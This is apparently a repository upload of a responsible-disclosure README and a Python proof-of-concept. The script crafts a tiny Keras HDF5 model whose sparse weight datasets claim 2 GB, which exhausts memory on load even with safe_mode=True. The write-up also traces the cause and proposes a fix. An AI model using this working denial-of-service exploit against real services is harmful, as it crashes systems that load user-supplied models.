Upload 2 files
Browse files- README_keras_hdf5_poc.md +124 -0
- poc_keras_hdf5_sparse_bomb.py +183 -0
README_keras_hdf5_poc.md
ADDED
|
@@ -0,0 +1,124 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
tags:
|
| 3 |
+
- security
|
| 4 |
+
- vulnerability
|
| 5 |
+
- poc
|
| 6 |
+
- keras
|
| 7 |
+
- h5py
|
| 8 |
+
- hdf5
|
| 9 |
+
- decompression-bomb
|
| 10 |
+
- cwe-789
|
| 11 |
+
- safe-mode-bypass
|
| 12 |
+
license: mit
|
| 13 |
+
---
|
| 14 |
+
|
| 15 |
+
# Keras HDF5 β Sparse Weight Dataset Decompression Bomb (PoC)
|
| 16 |
+
|
| 17 |
+
**Repo:** `MBM7/keras-hdf5-sparse-weight-bomb-poc`
|
| 18 |
+
**Status:** Responsible disclosure β submitted to Huntr
|
| 19 |
+
**Severity:** High / CWE-789 β safe_mode=True bypass
|
| 20 |
+
**Packages:** `keras` + `h5py` (PyPI)
|
| 21 |
+
|
| 22 |
+
---
|
| 23 |
+
|
| 24 |
+
## Summary
|
| 25 |
+
|
| 26 |
+
A crafted **95 KB** `.h5` Keras model file causes `keras.models.load_model()` to
|
| 27 |
+
allocate **2 GB of memory** and OOM-kill the process β even with `safe_mode=True`.
|
| 28 |
+
|
| 29 |
+
| File size | Claimed weight size | Result | Amplification |
|
| 30 |
+
|-----------|---------------------|-----------------|---------------|
|
| 31 |
+
| 95 KB | 2,000,000,000 bytes | OOM kill (Killed) | 1 : 20,925 |
|
| 32 |
+
|
| 33 |
+
---
|
| 34 |
+
|
| 35 |
+
## Root Cause
|
| 36 |
+
|
| 37 |
+
HDF5 chunked datasets support **sparse storage** β unwritten chunks exist only
|
| 38 |
+
as metadata. A weight dataset can claim `shape=(500_000_000,)` float32 (= 2 GB)
|
| 39 |
+
while storing only a single 40-byte chunk on disk.
|
| 40 |
+
|
| 41 |
+
When `load_weights_from_hdf5_group()` reads the dataset:
|
| 42 |
+
|
| 43 |
+
```python
|
| 44 |
+
# h5py/_hl/dataset.py β triggered by ds[...] in Keras weight loading
|
| 45 |
+
arr = numpy.empty(self.shape, dtype=self.dtype) # β 2 GB allocated HERE
|
| 46 |
+
self.id.read(mspace, fspace, arr, ...) # fill from sparse chunks
|
| 47 |
+
```
|
| 48 |
+
|
| 49 |
+
**No shape validation** exists in Keras before h5py allocates memory.
|
| 50 |
+
`safe_mode=True` only blocks Lambda/pickle deserialization β **not** weight sizes.
|
| 51 |
+
|
| 52 |
+
---
|
| 53 |
+
|
| 54 |
+
## Attack β call chain
|
| 55 |
+
|
| 56 |
+
```
|
| 57 |
+
keras.models.load_model(path, safe_mode=True)
|
| 58 |
+
β load_model_from_hdf5() [legacy_h5_format.py]
|
| 59 |
+
β load_weights_from_hdf5_group() [legacy_h5_format.py ~213]
|
| 60 |
+
β g[weight_name][...] β h5py allocates ds.shape bytes
|
| 61 |
+
NO bounds check before this call
|
| 62 |
+
```
|
| 63 |
+
|
| 64 |
+
---
|
| 65 |
+
|
| 66 |
+
## Reproduce
|
| 67 |
+
|
| 68 |
+
```bash
|
| 69 |
+
pip install keras h5py tensorflow-cpu
|
| 70 |
+
python poc_keras_hdf5_sparse_bomb.py
|
| 71 |
+
```
|
| 72 |
+
|
| 73 |
+
Expected output:
|
| 74 |
+
```
|
| 75 |
+
Malicious HDF5 : 95,576 bytes
|
| 76 |
+
Claimed weight size: 2,000,000,000 bytes (2.0 GB)
|
| 77 |
+
Amplification : 1 : 20,925
|
| 78 |
+
safe_mode=True : True (attack bypasses safe_mode entirely)
|
| 79 |
+
Loading with keras.models.load_model(safe_mode=True) ...
|
| 80 |
+
Killed
|
| 81 |
+
```
|
| 82 |
+
|
| 83 |
+
---
|
| 84 |
+
|
| 85 |
+
## Impact
|
| 86 |
+
|
| 87 |
+
Any service loading user-supplied `.h5` Keras models is vulnerable:
|
| 88 |
+
- `keras.models.load_model(path, safe_mode=True)` β **bypassed**
|
| 89 |
+
- HuggingFace model hub downloads, Keras model zoos, ML pipelines
|
| 90 |
+
- `safe_mode=True` provides no protection against this attack vector
|
| 91 |
+
|
| 92 |
+
---
|
| 93 |
+
|
| 94 |
+
## Suggested Fix
|
| 95 |
+
|
| 96 |
+
In `load_weights_from_hdf5_group()`, validate before reading:
|
| 97 |
+
|
| 98 |
+
```python
|
| 99 |
+
MAX_WEIGHT_BYTES = 512 * 1024 * 1024 # configurable
|
| 100 |
+
for weight_name in ...:
|
| 101 |
+
ds = group[weight_name]
|
| 102 |
+
if ds.size * ds.dtype.itemsize > MAX_WEIGHT_BYTES:
|
| 103 |
+
raise ValueError(
|
| 104 |
+
f"Weight '{weight_name}' claims {ds.size * ds.dtype.itemsize} bytes "
|
| 105 |
+
f"β exceeds safety limit. Possible decompression bomb."
|
| 106 |
+
)
|
| 107 |
+
weights.append(ds[...])
|
| 108 |
+
```
|
| 109 |
+
|
| 110 |
+
---
|
| 111 |
+
|
| 112 |
+
## Environment
|
| 113 |
+
|
| 114 |
+
| Package | Version |
|
| 115 |
+
|---------------|----------|
|
| 116 |
+
| keras | 3.15.0 |
|
| 117 |
+
| h5py | 3.14.0 |
|
| 118 |
+
| Python | 3.12 |
|
| 119 |
+
|
| 120 |
+
---
|
| 121 |
+
|
| 122 |
+
*Discovered via UBDAF automated scanner + empirical verification.
|
| 123 |
+
Distinct from Keras Lambda exploit (CWE-502) β this is a weight storage
|
| 124 |
+
attack at the HDF5 layer, independent of model config deserialization.*
|
poc_keras_hdf5_sparse_bomb.py
ADDED
|
@@ -0,0 +1,183 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
PoC: Keras HDF5 Sparse Weight Dataset Decompression Bomb
|
| 3 |
+
Target : keras (PyPI) + h5py (PyPI)
|
| 4 |
+
Format : Keras Legacy HDF5 (.h5 / .keras)
|
| 5 |
+
Tested : keras 3.15.0, h5py 3.14.0, Python 3.12
|
| 6 |
+
Author : mgm-77 / MBM7
|
| 7 |
+
|
| 8 |
+
=== Finding: HDF5 sparse chunked dataset β GB-scale allocation via keras.load_model ===
|
| 9 |
+
CWE-789 (Uncontrolled Memory Allocation) / Pattern #7 CULA
|
| 10 |
+
|
| 11 |
+
HDF5 supports chunked storage where unwritten chunks exist only as
|
| 12 |
+
metadata (fill-value sparse). A crafted .h5 model file can declare
|
| 13 |
+
a weight dataset with shape (500_000_000,) float32 = 2 GB while
|
| 14 |
+
storing only a single 40-byte chunk on disk.
|
| 15 |
+
|
| 16 |
+
When keras.models.load_model() β load_model_from_hdf5() β
|
| 17 |
+
load_weights_from_hdf5_group() is called, h5py resolves the full
|
| 18 |
+
dataset shape and allocates a numpy array of that size BEFORE
|
| 19 |
+
reading any chunk data:
|
| 20 |
+
|
| 21 |
+
# h5py/_hl/dataset.py (reading)
|
| 22 |
+
arr = numpy.empty(self.shape, dtype=self.dtype) β 2 GB allocated here
|
| 23 |
+
self.id.read(mspace, fspace, arr, ...) β fill from chunks
|
| 24 |
+
|
| 25 |
+
No validation of dataset shape vs. model architecture at any point.
|
| 26 |
+
The attack bypasses safe_mode=True entirely β it is a weight storage
|
| 27 |
+
attack, not a config deserialization attack. safe_mode only blocks
|
| 28 |
+
Lambda/pickle deserialization, not weight tensor sizes.
|
| 29 |
+
|
| 30 |
+
=== Root cause chain ===
|
| 31 |
+
legacy_h5_format.load_model_from_hdf5()
|
| 32 |
+
β load_weights_from_hdf5_group() [legacy_h5_format.py ~213]
|
| 33 |
+
β layer.set_weights(weights)
|
| 34 |
+
β [for each weight tensor]
|
| 35 |
+
weight_values = [g[weight_name][...] for ...]
|
| 36 |
+
β h5py allocates shape-sized array
|
| 37 |
+
"""
|
| 38 |
+
|
| 39 |
+
import os
|
| 40 |
+
import sys
|
| 41 |
+
import json
|
| 42 |
+
import tempfile
|
| 43 |
+
import tracemalloc
|
| 44 |
+
|
| 45 |
+
import h5py
|
| 46 |
+
import numpy as np
|
| 47 |
+
import keras
|
| 48 |
+
from keras.src.legacy.saving import legacy_h5_format
|
| 49 |
+
|
| 50 |
+
|
| 51 |
+
# ββ Build minimal valid Keras HDF5 structure βββββββββββββββββββββββββββββββββ
|
| 52 |
+
|
| 53 |
+
def build_legit_h5(path: str):
|
| 54 |
+
"""Save a minimal Dense(2, input=(2,)) model as legacy HDF5."""
|
| 55 |
+
model = keras.Sequential([keras.layers.Dense(2, input_shape=(2,))])
|
| 56 |
+
legacy_h5_format.save_model_to_hdf5(model, path)
|
| 57 |
+
return model
|
| 58 |
+
|
| 59 |
+
|
| 60 |
+
def clone_with_sparse_bomb(src_path: str, dst_path: str,
|
| 61 |
+
bomb_shape: tuple, bomb_dtype=np.float32):
|
| 62 |
+
"""
|
| 63 |
+
Clone a Keras HDF5 file, replacing all weight datasets with
|
| 64 |
+
chunked sparse datasets of `bomb_shape` claiming huge size but
|
| 65 |
+
storing only a single tiny chunk.
|
| 66 |
+
"""
|
| 67 |
+
chunk = (min(10_000, bomb_shape[0]),) + bomb_shape[1:]
|
| 68 |
+
|
| 69 |
+
with h5py.File(src_path, "r") as src, h5py.File(dst_path, "w") as dst:
|
| 70 |
+
# Copy all top-level attributes (model_config, keras_version, etc.)
|
| 71 |
+
for k, v in src.attrs.items():
|
| 72 |
+
dst.attrs[k] = v
|
| 73 |
+
|
| 74 |
+
def copy_item(name, obj):
|
| 75 |
+
parent_path = name.rsplit("/", 1)[0] if "/" in name else ""
|
| 76 |
+
leaf_name = name.rsplit("/", 1)[-1]
|
| 77 |
+
parent = dst.require_group(parent_path) if parent_path else dst
|
| 78 |
+
|
| 79 |
+
if isinstance(obj, h5py.Group):
|
| 80 |
+
grp = dst.require_group(name)
|
| 81 |
+
for k, v in obj.attrs.items():
|
| 82 |
+
grp.attrs[k] = v
|
| 83 |
+
|
| 84 |
+
elif isinstance(obj, h5py.Dataset):
|
| 85 |
+
# Replace every weight tensor with a sparse bomb dataset
|
| 86 |
+
if any(w in name for w in ("kernel", "bias", "weight")):
|
| 87 |
+
ds = parent.create_dataset(
|
| 88 |
+
leaf_name,
|
| 89 |
+
shape=bomb_shape,
|
| 90 |
+
dtype=bomb_dtype,
|
| 91 |
+
chunks=chunk,
|
| 92 |
+
fillvalue=0.0,
|
| 93 |
+
)
|
| 94 |
+
ds[0:1] = [1.0] # write a single value to make file valid
|
| 95 |
+
else:
|
| 96 |
+
src.copy(name, parent, name=leaf_name)
|
| 97 |
+
|
| 98 |
+
src.visititems(copy_item)
|
| 99 |
+
|
| 100 |
+
|
| 101 |
+
# ββ Main ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 102 |
+
|
| 103 |
+
BOMB_SHAPE = (500_000_000,) # 2 GB when read as float32
|
| 104 |
+
BOMB_DTYPE = np.float32
|
| 105 |
+
EXPECTED_GB = BOMB_SHAPE[0] * 4 # bytes
|
| 106 |
+
|
| 107 |
+
print("=" * 64)
|
| 108 |
+
print("Keras HDF5 Sparse Weight Dataset Decompression Bomb")
|
| 109 |
+
print("CWE-789 / CULA Pattern #7 / safe_mode=True bypass")
|
| 110 |
+
print("=" * 64)
|
| 111 |
+
|
| 112 |
+
with tempfile.TemporaryDirectory() as tmpdir:
|
| 113 |
+
legit_path = os.path.join(tmpdir, "legit.h5")
|
| 114 |
+
mal_path = os.path.join(tmpdir, "bomb.h5")
|
| 115 |
+
|
| 116 |
+
# Build legit model
|
| 117 |
+
legit_model = build_legit_h5(legit_path)
|
| 118 |
+
legit_size = os.path.getsize(legit_path)
|
| 119 |
+
print(f"\n Legit model file : {legit_size:,} bytes")
|
| 120 |
+
print(f" Architecture : Dense(2, input=(2,)) β 6 parameters")
|
| 121 |
+
|
| 122 |
+
# Create malicious clone
|
| 123 |
+
clone_with_sparse_bomb(legit_path, mal_path, BOMB_SHAPE, BOMB_DTYPE)
|
| 124 |
+
mal_size = os.path.getsize(mal_path)
|
| 125 |
+
|
| 126 |
+
print(f"\n Malicious HDF5 : {mal_size:,} bytes")
|
| 127 |
+
print(f" Claimed weight size: {EXPECTED_GB:,} bytes ({EXPECTED_GB/1e9:.1f} GB)")
|
| 128 |
+
print(f" Amplification : 1 : {EXPECTED_GB // mal_size:,}")
|
| 129 |
+
print(f" safe_mode=True : True (attack bypasses safe_mode entirely)")
|
| 130 |
+
|
| 131 |
+
# Verify structure
|
| 132 |
+
with h5py.File(mal_path, "r") as f:
|
| 133 |
+
def show(name, obj):
|
| 134 |
+
if isinstance(obj, h5py.Dataset):
|
| 135 |
+
print(f" dataset {name}: shape={obj.shape} "
|
| 136 |
+
f"chunks={obj.chunks} nbytes_claimed={np.prod(obj.shape)*4:,}")
|
| 137 |
+
print("\n HDF5 dataset structure (malicious file):")
|
| 138 |
+
f.visititems(show)
|
| 139 |
+
|
| 140 |
+
# ββ Trigger OOM ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 141 |
+
print("\n Loading with keras.models.load_model(safe_mode=True) ...")
|
| 142 |
+
tracemalloc.start()
|
| 143 |
+
try:
|
| 144 |
+
loaded = legacy_h5_format.load_model_from_hdf5(
|
| 145 |
+
mal_path, safe_mode=True
|
| 146 |
+
)
|
| 147 |
+
peak = tracemalloc.get_traced_memory()[1]
|
| 148 |
+
print(f" Result : LOADED (unexpected)")
|
| 149 |
+
print(f" Peak memory : {peak:,} bytes")
|
| 150 |
+
except MemoryError:
|
| 151 |
+
peak = tracemalloc.get_traced_memory()[1]
|
| 152 |
+
print(f" Result : MemoryError β OOM triggered β")
|
| 153 |
+
print(f" Peak memory : {peak/1e6:.0f} MB")
|
| 154 |
+
except Exception as e:
|
| 155 |
+
peak = tracemalloc.get_traced_memory()[1]
|
| 156 |
+
print(f" Result : {type(e).__name__}: {e}")
|
| 157 |
+
print(f" Peak memory : {peak/1e6:.0f} MB β allocation happened")
|
| 158 |
+
finally:
|
| 159 |
+
tracemalloc.stop()
|
| 160 |
+
|
| 161 |
+
# ββ Root cause summary ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 162 |
+
print()
|
| 163 |
+
print("=" * 64)
|
| 164 |
+
print("Root cause β h5py dataset read path:")
|
| 165 |
+
print()
|
| 166 |
+
print(" ds = hdf5_group[weight_name] # shape=(500_000_000,)")
|
| 167 |
+
print(" arr = numpy.empty(ds.shape, ...) # β 2 GB allocated here")
|
| 168 |
+
print(" ds.id.read(...) # fill from sparse chunks")
|
| 169 |
+
print()
|
| 170 |
+
print(" No shape validation in keras before h5py read.")
|
| 171 |
+
print(" safe_mode only blocks Lambda/pickle β not weight tensor sizes.")
|
| 172 |
+
print()
|
| 173 |
+
print("Suggested fix: validate dataset.shape vs. expected_shape")
|
| 174 |
+
print(" before calling dataset[...] in load_weights_from_hdf5_group():")
|
| 175 |
+
print()
|
| 176 |
+
print(" MAX_WEIGHT_BYTES = 512 * 1024 * 1024 # 512 MB per tensor")
|
| 177 |
+
print(" if ds.size * ds.dtype.itemsize > MAX_WEIGHT_BYTES:")
|
| 178 |
+
print(" raise ValueError('Weight tensor too large to load safely')")
|
| 179 |
+
print()
|
| 180 |
+
print("=" * 64)
|
| 181 |
+
print(f"keras version : {keras.__version__}")
|
| 182 |
+
print(f"h5py version : {h5py.__version__}")
|
| 183 |
+
print(f"Python : {sys.version.split()[0]}")
|